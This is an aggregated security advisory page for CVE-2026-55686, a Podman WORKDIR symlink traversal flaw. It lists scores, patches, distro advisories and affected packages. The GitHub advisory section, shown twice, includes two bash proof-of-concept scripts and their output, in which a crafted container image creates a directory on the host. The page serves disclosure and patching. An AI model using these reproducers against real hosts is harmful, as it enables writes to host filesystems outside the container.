CVE-2026-55686
Podman: WORKDIR symlink traversal vulnerability
Podman is a tool for managing OCI containers and pods. From 3.0.0 until 5.7.1, running a malicious container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. This vulnerability is fixed in 5.7.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
Podman: WORKDIR symlink traversal vulnerability
Podman is a tool for managing OCI containers and pods. From 3.0.0 until 5.7.1, running a malicious container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. This vulnerability is fixed in 5.7.1.
- Record
CVE-2026-55686- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-61
- Updated
- 2026-11-02
EUVDEUVD-2026-39808
Podman is a tool for managing OCI containers and pods. From 3.0.0 until 5.7.1, running a malicious container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. This vulnerability is fixed in 5.7.1.
- Record
EUVD-2026-39808- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-q6r4-3wmg-fwcq
Podman: WORKDIR symlink traversal vulnerability
Summary
Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.
Patch
https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0
Details
This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)
PoC
The reproducer script test1.bash demonstrates the vulnerability.
The directory /var/BREAKOUT is created on the host.
The container process uses the container directory /var/BREAKOUT as current working directory.
The reproducer script test2.bash demonstrates the same vulnerability.
The directory /var/BREAKOUT is created on the host.
The container process uses the container directory /usr/local as current working directory.
The reproducer script test2.bash shows that the working directory can be different from the breakout directory.
Reproducer test1.bash
#!/bin/bash
set -o errexit
set -o nounset
if [ -e /var/BREAKOUT ]; then
echo error: path /var/BREAKOUT should not exist beforehand
exit 1
fi
dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
RUN cd / && ln -s ../../../../../../../var symlink
USER 1234:1234
WORKDIR /symlink/BREAKOUT
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF
podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUT
Reproducer test2.bash
#!/bin/bash
set -o errexit
set -o nounset
if [ -e /var/BREAKOUT ]; then
echo error: path /var/BREAKOUT should not exist beforehand
exit 1
fi
dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
ARG breakout_dirname=/var
ARG breakout_basename=BREAKOUT
ARG produce_pwd=/usr/local
RUN mkdir -p /0/1/2/3 && \
cd /0 && \
ln -s 1/2/3 symlink1 && \
mkdir -p /0/1/symlink2/${breakout_dirname} && \
cd /0/1/symlink2/${breakout_dirname} && \
ln -s ${produce_pwd} ${breakout_basename}
RUN cd / && ln -s ../../../../../../.. symlink2
USER 1234:1234
WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename}
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF
podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUT
Vulnerable:
podman 5.7.0 using Fedora CoreOS 43.20251120.3.0
root@localhost:~# bash test1.bash
38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80
current working directory: /var/BREAKOUT
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT
root@localhost:~# rmdir /var/BREAKOUT/
root@localhost:~# bash test2.bash
c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9
current working directory: /usr/local
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT
Not vulnerable:
podman 5.7.1 using Fedora CoreOS 43.20260119.1.1
root@localhost:~# bash test1.bash
0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788
current working directory: /var/BREAKOUT
ls: cannot access '/var/BREAKOUT': No such file or directory
root@localhost:~# bash test2.bash
568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60
current working directory: /usr/local
ls: cannot access '/var/BREAKOUT': No such file or directory
Credits
We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.
- Record
GHSA-q6r4-3wmg-fwcq- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-59, CWE-61
- Updated
- 2026-11-03
NVD
Podman is a tool for managing OCI containers and pods. From 3.0.0 until 5.7.1, running a malicious container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. This vulnerability is fixed in 5.7.1.
- Record
CVE-2026-55686- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-61
- Updated
- 2026-11-02
OSVBELL-CVE-2026-55686
- Record
BELL-CVE-2026-55686- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Updated
- 2026-11-02
OSV
Podman: WORKDIR symlink traversal vulnerability
Podman is a tool for managing OCI containers and pods. From 3.0.0 until 5.7.1, running a malicious container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. This vulnerability is fixed in 5.7.1.
- Record
CVE-2026-55686- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-61
- Updated
- 2026-11-02
Show 16 moreShow less
OSVDEBIAN-CVE-2026-55686
Podman is a tool for managing OCI containers and pods. From 3.0.0 until 5.7.1, running a malicious container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. This vulnerability is fixed in 5.7.1.
- Record
DEBIAN-CVE-2026-55686- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Updated
- 2026-11-02
OSVGHSA-q6r4-3wmg-fwcq
Podman: WORKDIR symlink traversal vulnerability
Summary
Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.
Patch
https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0
Details
This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)
PoC
The reproducer script test1.bash demonstrates the vulnerability.
The directory /var/BREAKOUT is created on the host.
The container process uses the container directory /var/BREAKOUT as current working directory.
The reproducer script test2.bash demonstrates the same vulnerability.
The directory /var/BREAKOUT is created on the host.
The container process uses the container directory /usr/local as current working directory.
The reproducer script test2.bash shows that the working directory can be different from the breakout directory.
Reproducer test1.bash
#!/bin/bash
set -o errexit
set -o nounset
if [ -e /var/BREAKOUT ]; then
echo error: path /var/BREAKOUT should not exist beforehand
exit 1
fi
dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
RUN cd / && ln -s ../../../../../../../var symlink
USER 1234:1234
WORKDIR /symlink/BREAKOUT
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF
podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUT
Reproducer test2.bash
#!/bin/bash
set -o errexit
set -o nounset
if [ -e /var/BREAKOUT ]; then
echo error: path /var/BREAKOUT should not exist beforehand
exit 1
fi
dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
ARG breakout_dirname=/var
ARG breakout_basename=BREAKOUT
ARG produce_pwd=/usr/local
RUN mkdir -p /0/1/2/3 && \
cd /0 && \
ln -s 1/2/3 symlink1 && \
mkdir -p /0/1/symlink2/${breakout_dirname} && \
cd /0/1/symlink2/${breakout_dirname} && \
ln -s ${produce_pwd} ${breakout_basename}
RUN cd / && ln -s ../../../../../../.. symlink2
USER 1234:1234
WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename}
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF
podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUT
Vulnerable:
podman 5.7.0 using Fedora CoreOS 43.20251120.3.0
root@localhost:~# bash test1.bash
38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80
current working directory: /var/BREAKOUT
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT
root@localhost:~# rmdir /var/BREAKOUT/
root@localhost:~# bash test2.bash
c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9
current working directory: /usr/local
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT
Not vulnerable:
podman 5.7.1 using Fedora CoreOS 43.20260119.1.1
root@localhost:~# bash test1.bash
0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788
current working directory: /var/BREAKOUT
ls: cannot access '/var/BREAKOUT': No such file or directory
root@localhost:~# bash test2.bash
568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60
current working directory: /usr/local
ls: cannot access '/var/BREAKOUT': No such file or directory
Credits
We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.
- Record
GHSA-q6r4-3wmg-fwcq- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-59, CWE-61
- Updated
- 2026-11-03
OSVRHSA-2026:29954
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:29954- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-55686
Podman is a tool for managing OCI containers and pods. From 3.0.0 until 5.7.1, running a malicious container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. This vulnerability is fixed in 5.7.1.
- Record
UBUNTU-CVE-2026-55686- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - Updated
- 2026-11-02
OSVAZL-91299 No score
CVE-2026-55686 affecting package podman 5.6.1-10
Podman is a tool for managing OCI containers and pods. From 3.0.0 until 5.7.1, running a malicious container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. This vulnerability is fixed in 5.7.1.
- Record
AZL-91299- Updated
- 2026-11-05
OSVCLSA-2026-1782985538 No score
podman: Fix of CVE-2026-55686
- CVE-2026-55686: replace the fragile isWorkDirSymlink symlink-chain walking in resolveWorkDir() with securejoin.SecureJoin(), scoping workdir resolution to the container mountpoint and letting the OCI runtime handle remaining symlink errors
- Record
CLSA-2026-1782985538- Updated
- 2026-11-02
OSVCLSA-2026-1782987821 No score
podman: Fix of CVE-2026-55686
- CVE-2026-55686: fix symlink handling in container workdir resolution
- Record
CLSA-2026-1782987821- Updated
- 2026-11-02
OSVGO-2026-5568 No score
Podman: WORKDIR symlink traversal vulnerability in github.com/containers/podman
Podman: WORKDIR symlink traversal vulnerability in github.com/containers/podman
- Record
GO-2026-5568- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
- GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
- GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
- GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
- GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
- GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
- GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
- GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
- GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
- GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
- GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
- GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
- GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
- GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
- GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
- GO-2026-5933 GHSA-3g4q-2f67-2gvh
- GO-2026-5934 GHSA-59qp-cfj3-rp64
- GO-2026-5935 GHSA-7856-g3gv-9wq8
- GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
- GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
- GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
- GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
- GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
- GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
- GO-2026-5942 CVE-2026-46600
- GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
- GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
- GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
- GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
- GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
- GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
- GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
- GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
- GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
- GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
- GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
- GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
- GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
- GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
- GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
- GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
- GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
- GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
- GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
- GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
- GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
- GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
- GO-2026-5969 GHSA-g936-7jqj-mwv8
- GO-2026-5970 CVE-2026-56852
- GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
- GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
- GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
- GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
- GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
- GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
- GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
- GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
- GO-2026-5981 GHSA-mqxv-9rm6-w8qc
- GO-2026-5982 GHSA-pqg7-v6wh-3pfp
- GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
- GO-2026-5985 GHSA-7rx3-5wx3-5v76
- GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
- GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
- GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
- GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
- GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
- GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
- GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
- GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
- GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
- GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
- GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
- GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
- GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
- GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
- GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
- GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
- Record
openSUSE-SU-2026:21483-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:22089-1 No score
Security update for podman
This update for podman fixes the following issues:
Security issues fixed:
- CVE-2026-55686: Podman: WORKDIR symlink traversal vulnerability (bsc#1268579).
- CVE-2026-57231: specially crafted image can trick podman run into leaking host environment variables into the container (bsc#1269471).
Non security issue fixed:
- catatonit missing in /usr/libexec/podman/ (bsc#1248988).
- Record
openSUSE-SU-2026:22089-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:23205-1 No score
Security update for podman
This update for podman fixes the following issues:
- CVE-2026-55686: Podman: WORKDIR symlink traversal vulnerability (bsc#1268579).
- CVE-2026-57231: specially crafted image can trick podman run into leaking host environment variables into the container (bsc#1269471).
- Record
SUSE-SU-2026:23205-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:24233-1 No score
Security update for podman
This update for podman fixes the following issues:
Security issues fixed:
- CVE-2026-55686: Podman: WORKDIR symlink traversal vulnerability (bsc#1268579).
- CVE-2026-57231: specially crafted image can trick podman run into leaking host environment variables into the container (bsc#1269471).
Non security issue fixed:
- catatonit missing in /usr/libexec/podman/ (bsc#1248988).
- Record
SUSE-SU-2026:24233-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:24378-1 No score
Security update for podman
This update for podman fixes the following issues:
- CVE-2026-55686: Podman: WORKDIR symlink traversal vulnerability (bsc#1268579).
- CVE-2026-57231: specially crafted image can trick podman run into leaking host environment variables into the container (bsc#1269471).
- Record
SUSE-SU-2026:24378-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:3536-1 No score
Security update for podman
This update for podman fixes the following issues:
- CVE-2026-55686: specially crafted image where the
WORKDIRpath contains a symlink allows for directory creation and ownership modification on the host filesystem (bsc#1268579). - CVE-2026-57231: specially crafted image can trick podman run into leaking host environment variables into the container (bsc#1269471).
- Record
SUSE-SU-2026:3536-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:3652-1 No score
Security update for podman
This update for podman fixes the following issues:
- CVE-2026-55686: specially crafted image where the
WORKDIRpath contains a symlink allows for directory creation and ownership modification on the host filesystem (bsc#1268579). - CVE-2026-57231: specially crafted image can trick podman run into leaking host environment variables into the container (bsc#1269471).
- Record
SUSE-SU-2026:3652-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:3662-1 No score
Security update for podman
This update for podman fixes the following issues:
- CVE-2026-55686: specially crafted image where the
WORKDIRpath contains a symlink allows for directory creation and ownership modification on the host filesystem (bsc#1268579). - CVE-2026-57231: specially crafted image can trick podman run into leaking host environment variables into the container (bsc#1269471).
- Record
SUSE-SU-2026:3662-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/containers/podman/v5Go |
through 5.7.0 | 5.7.1 |
github.com/containers/podman/v4Go |
through 4.9.5 | None known |
github.com/containers/podman/v3Go |
through 3.4.7 | None known |
podmanAzure Linux:3 |
through 5.6.1-10 | None known |
podmanAlpaquita:23 |
4.3.1-r0 up to 5.6.2-r9 | 5.6.2-r9 |
podmanAlpaquita:25 |
5.5.0-r0 up to 5.6.2-r8 | 5.6.2-r8 |
podmanTuxCare:AlmaLinux:9.2 |
before 2:4.4.1-13.el9_2.tuxcare.els13 | 2:4.4.1-13.el9_2.tuxcare.els13 |
podman-dockerTuxCare:AlmaLinux:9.2 |
before 2:4.4.1-13.el9_2.tuxcare.els13 | 2:4.4.1-13.el9_2.tuxcare.els13 |
podman-gvproxyTuxCare:AlmaLinux:9.2 |
before 2:4.4.1-13.el9_2.tuxcare.els13 | 2:4.4.1-13.el9_2.tuxcare.els13 |
podman-pluginsTuxCare:AlmaLinux:9.2 |
before 2:4.4.1-13.el9_2.tuxcare.els13 | 2:4.4.1-13.el9_2.tuxcare.els13 |
Show 44 moreShow less
| Package | Affected | Fixed |
|---|---|---|
podman-remoteTuxCare:AlmaLinux:9.2 |
before 2:4.4.1-13.el9_2.tuxcare.els13 | 2:4.4.1-13.el9_2.tuxcare.els13 |
podman-testsTuxCare:AlmaLinux:9.2 |
before 2:4.4.1-13.el9_2.tuxcare.els13 | 2:4.4.1-13.el9_2.tuxcare.els13 |
podmanTuxCare:AlmaLinux:9.6 |
before 5:5.4.0-13.el9_6.tuxcare.els7 | 5:5.4.0-13.el9_6.tuxcare.els7 |
podman-dockerTuxCare:AlmaLinux:9.6 |
before 5:5.4.0-13.el9_6.tuxcare.els7 | 5:5.4.0-13.el9_6.tuxcare.els7 |
podman-pluginsTuxCare:AlmaLinux:9.6 |
before 5:5.4.0-13.el9_6.tuxcare.els7 | 5:5.4.0-13.el9_6.tuxcare.els7 |
podman-remoteTuxCare:AlmaLinux:9.6 |
before 5:5.4.0-13.el9_6.tuxcare.els7 | 5:5.4.0-13.el9_6.tuxcare.els7 |
podman-testsTuxCare:AlmaLinux:9.6 |
before 5:5.4.0-13.el9_6.tuxcare.els7 | 5:5.4.0-13.el9_6.tuxcare.els7 |
podmanDebian:13 |
All versions, plus listed versions 5.4.2+ds1-25.6.1+ds1-15.6.1+ds1-25.6.1+ds2-25.6.1+ds2-3 Show 22 moreShow less5.6.2+ds1-15.6.2+ds1-25.6.2+ds1-35.6.2+ds1-3+exp15.6.2+ds1-45.7.0+ds2-15.7.0+ds2-25.7.0+ds2-35.8.0+ds1-15.8.1+ds1-15.8.1+ds1-25.8.1+ds1-35.8.2+ds1-15.8.2+ds1-25.8.2+ds1-35.8.3+ds1-15.8.4+ds1-15.8.4+ds1-25.8.6+ds1-15.8.6+ds1-25.8.6+ds1-36.1.1+ds1-1 |
None known |
podmanDebian:14 |
before 5.8.1+ds1-2, plus listed versions 5.4.2+ds1-25.6.1+ds1-15.6.1+ds1-25.6.1+ds2-25.6.1+ds2-3 Show 10 moreShow less5.6.2+ds1-15.6.2+ds1-25.6.2+ds1-35.6.2+ds1-3+exp15.6.2+ds1-45.7.0+ds2-15.7.0+ds2-25.7.0+ds2-35.8.0+ds1-15.8.1+ds1-1 |
5.8.1+ds1-2 |
github.com/containers/podman/v5Go |
before 5.7.1 | 5.7.1 |
github.com/containers/podmanGo |
All versions | None known |
github.com/containers/podman/v2Go |
All versions | None known |
github.com/containers/podman/v3Go |
All versions | None known |
github.com/containers/podman/v4Go |
All versions | None known |
podmanRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:6.0.0-1.hum1 | 0:6.0.0-1.hum1 |
podman-dockerRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:6.0.0-1.hum1 | 0:6.0.0-1.hum1 |
podman-machineRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:6.0.0-1.hum1 | 0:6.0.0-1.hum1 |
podman-remoteRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:6.0.0-1.hum1 | 0:6.0.0-1.hum1 |
podman-testsRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:6.0.0-1.hum1 | 0:6.0.0-1.hum1 |
podmanshRed Hat:hummingbird:1 From an advisory covering 2 CVEs |
before 0:6.0.0-1.hum1 | 0:6.0.0-1.hum1 |
podmanSUSE:Linux Micro 6.0 From an advisory covering 2 CVEs |
before 4.9.5-13.1 | 4.9.5-13.1 |
podmanSUSE:Linux Enterprise Server 16.0 From an advisory covering 2 CVEs |
before 5.4.2-160000.6.1 | 5.4.2-160000.6.1 |
podmanSUSE:Linux Enterprise Server for SAP applications 16.0 From an advisory covering 2 CVEs |
before 5.4.2-160000.6.1 | 5.4.2-160000.6.1 |
podmanSUSE:Linux Micro 6.1 From an advisory covering 12 CVEs |
before 5.4.2-slfo.1.1_6.1 | 5.4.2-slfo.1.1_6.1 |
podmanSUSE:Linux Enterprise Micro 5.5 From an advisory covering 2 CVEs |
before 4.9.5-150500.3.78.1 | 4.9.5-150500.3.78.1 |
podmanSUSE:Linux Enterprise Module for Containers 15 SP7 From an advisory covering 2 CVEs |
before 4.9.5-150500.3.78.1 | 4.9.5-150500.3.78.1 |
podmanSUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS From an advisory covering 2 CVEs |
before 4.9.5-150500.3.78.1 | 4.9.5-150500.3.78.1 |
podmanSUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS From an advisory covering 2 CVEs |
before 4.9.5-150500.3.78.1 | 4.9.5-150500.3.78.1 |
podmanSUSE:Linux Enterprise Server 15 SP5-LTSS From an advisory covering 2 CVEs |
before 4.9.5-150500.3.78.1 | 4.9.5-150500.3.78.1 |
podmanSUSE:Linux Enterprise Server 15 SP6-LTSS From an advisory covering 2 CVEs |
before 4.9.5-150500.3.78.1 | 4.9.5-150500.3.78.1 |
podmanSUSE:Linux Enterprise Server for SAP Applications 15 SP5 From an advisory covering 2 CVEs |
before 4.9.5-150500.3.78.1 | 4.9.5-150500.3.78.1 |
podmanSUSE:Linux Enterprise Server for SAP Applications 15 SP6 From an advisory covering 2 CVEs |
before 4.9.5-150500.3.78.1 | 4.9.5-150500.3.78.1 |
podmanSUSE:Linux Enterprise Micro 5.3 From an advisory covering 2 CVEs |
before 4.9.5-150400.4.79.1 | 4.9.5-150400.4.79.1 |
podmanSUSE:Linux Enterprise Micro 5.4 From an advisory covering 2 CVEs |
before 4.9.5-150400.4.79.1 | 4.9.5-150400.4.79.1 |
podmanSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS From an advisory covering 2 CVEs |
before 4.9.5-150400.4.79.1 | 4.9.5-150400.4.79.1 |
podmanSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS From an advisory covering 2 CVEs |
before 4.9.5-150400.4.79.1 | 4.9.5-150400.4.79.1 |
podmanSUSE:Linux Enterprise Server 15 SP4-LTSS From an advisory covering 2 CVEs |
before 4.9.5-150400.4.79.1 | 4.9.5-150400.4.79.1 |
podmanSUSE:Linux Enterprise Server for SAP Applications 15 SP4 From an advisory covering 2 CVEs |
before 4.9.5-150400.4.79.1 | 4.9.5-150400.4.79.1 |
podmanSUSE:Enterprise Storage 7.1 From an advisory covering 2 CVEs |
before 4.9.5-150300.9.83.1 | 4.9.5-150300.9.83.1 |
podmanUbuntu:25.10 |
All versions, plus listed versions 5.4.1+ds1-15.4.2+ds1-15.4.2+ds1-2 |
None known |
podmanUbuntu:26.10 |
All versions, plus listed versions 5.7.0+ds2-3build15.8.3+ds1-15.8.4+ds1-15.8.6+ds1-2 |
None known |
podmanUbuntu:26.04:LTS |
All versions, plus listed versions 5.4.2+ds1-25.7.0+ds2-35.7.0+ds2-3build1 |
None known |
govulncheck-vulndbopenSUSE:Leap 16.0 From an advisory covering 1734 CVEs |
before 0.0.20260723T184607-160000.1.1 | 0.0.20260723T184607-160000.1.1 |
podmanopenSUSE:Leap 16.0 From an advisory covering 2 CVEs |
before 5.4.2-160000.6.1 | 5.4.2-160000.6.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | OSV | |
| facts, references | GitHub Advisories | |
